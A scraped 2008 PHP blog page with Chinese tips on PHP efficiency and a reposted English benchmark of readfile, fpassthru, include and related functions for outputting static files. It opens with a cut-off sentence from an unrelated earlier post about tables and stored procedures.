只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息!

Modified At 2008-05-28 17:54:23




Modified At 2008-06-02 23:15:11

php执行效率优化

总结下php程序效率优化的一些策略:

 

1.在可以用file_get_contents替代file、fopen、feof、fgets等系列方法的情况下,尽量用file_get_contents,因为他的效率高得多!但是要注意file_get_contents在打开一个URL文件时候的PHP版本问题;(对这于这一点kimi不敢苟同,详细请查阅http://www.ccvita.com/index.php/163.html)

 

2.尽量的少进行文件操作,虽然PHP的文件操作效率也不低的;

 

3.优化Select SQL语句,在可能的情况下尽量少的进行Insert、Update操作(在update上,我被恶批过);

 

4.尽可能的使用PHP内部函数(但是我却为了找个PHP里面不存在的函数,浪费了本可以写出一个自定义函数的时间,经验问题啊!);

 

5.循环内部不要声明变量,尤其是大变量:对象(这好像不只是PHP里面要注意的问题吧?);

 

6.多维数组尽量不要循环嵌套赋值;

 

7.在可以用PHP内部字符串操作函数的情况下,不要用正则表达式;

 

8.foreach效率更高,尽量用foreach代替while和for循环;

 

9.用单引号替代双引号引用字符串;

 

10.“用i+=1代替i=i+1。符合c/c++的习惯,效率还高”;

 

11.对global变量,应该用完就unset()掉;




Modified At 2008-05-26 15:58:33

Readfile vs include

It is not often that you can write a PHP script that does not need to include the contents of different files as part of it's output. If these includes happen to be php scripts themselves you have no choice but to use require or include. However more often than not, the contents are static, usually html template component. With static includes you have many more options available. aerwear We will analyse some of these functions to find out which one is most suitable when dealing with files with static content. We use the term function loosely, because require and include are not real functions but language constructs.

 

























Function

Brief Description

string file_get_contents ( string filename [, int use_include_path])

Reads entire file into a string

int fpassthru ( resource handle)

Output all remaining data on a file pointer

string fgets ( resource handle [, int length])

Gets line from file pointer

array file ( string filename [, int use_include_path])

Reads entire file into an array

require(string filename)

include(string filename)

require_once(string filename)

include_once(string filename)

includes and evaluates the specific file.

int readfile ( string filename [, int use_include_path])

Outputs a file


We will now attempt to 'include' the contents of a 1 megabyte file into the output produced by our php script. How you can generate files of specific sizes is described elsewhere. The execution times and peak memory consumption, as reported by xdebug have been tabulated below.

We compensate for file caching and background processes by executing each script 4 times and taking the average (mean) of the result number 2-4. The first result is always rejected. Any result that appears to be outlier is rejected. The mean is rounded to 5 decimal places.

 












































Function

Sample Usage

Time (s)

Memory (b)

file_get_contents

echo file_get_contents($filename);

0.00564

1067856

fpassthru

fpassthru($fp);

0.00184

20032

fgets

$fp = fopen($filename,"rb");

while(!feof($fp))

{

    echo fgets($fp);

}

0.07190

30768

file

echo join("",file($filename));

0.06464

2185624

require_once

require_once($filename);

0.08065

2067696

include

include($filename);

0.08202

2067696

readfile

readfile($filename);

0.00191

19208


What's obvious from these results is that using fpassthru is far superior to all other methods. What's not so obvious is that fpassthru and readfile are equally good. The fpassthru version runs 0.00007 seconds quicker than the readfile version. What that really means is that you need to run the script at least 100000 times to make significant saving. On memory consumption readfile seems to have use up around 1kb less than passthru. A kilo byte is a drop in the ocean for modern web servers with hundreds of megabytes if not gigabytes of memory.

 

The only conclusion that can be drawn from these studies is that fpassthru and readfile are equally good if you wish to include static content as part of the script's output.

 

Before you rush off to change all your includes and requires into readfiles or fpassthrus let's run the same test with a smaller (32Kb file). 32Kb is a more realistic size for an included file.

 
























































Function

Time (s)

Memory (b)

 

32Kb File

1Mb File

32Kb File

1Mb File

file_get_contents

0.00152

0.00564

52480

1067856

fpassthru

0.00117

0.00184

20016

20032

fgets

0.00195

0.07190

30760

30768

file

0.00157

0.06464

87344

2185624

require_once

0.00225

0.08065

67992

2067696

include

0.00222

0.08202

67928

2067624

readfile

0.00117

0.00191

19192

19208


readfile and fpassthru have once again tied for first place. This new set of results just confirms the fact that speed and scalability comes from your design and not from your code. The difference between the best performance and the worst is just 0.00108s too close to call.

 

The most significant feature of these results is that both fpassthru and readfile scale really well. In other words, memory consumption and execution time does not increase significantly with increase in file size. That does not always mean your script will be faster just because you use these functions instead of require or include.

 

 


This page was last modified 10:56, 3 Aug 2006.




Modified At 2008-05-23 23:16:26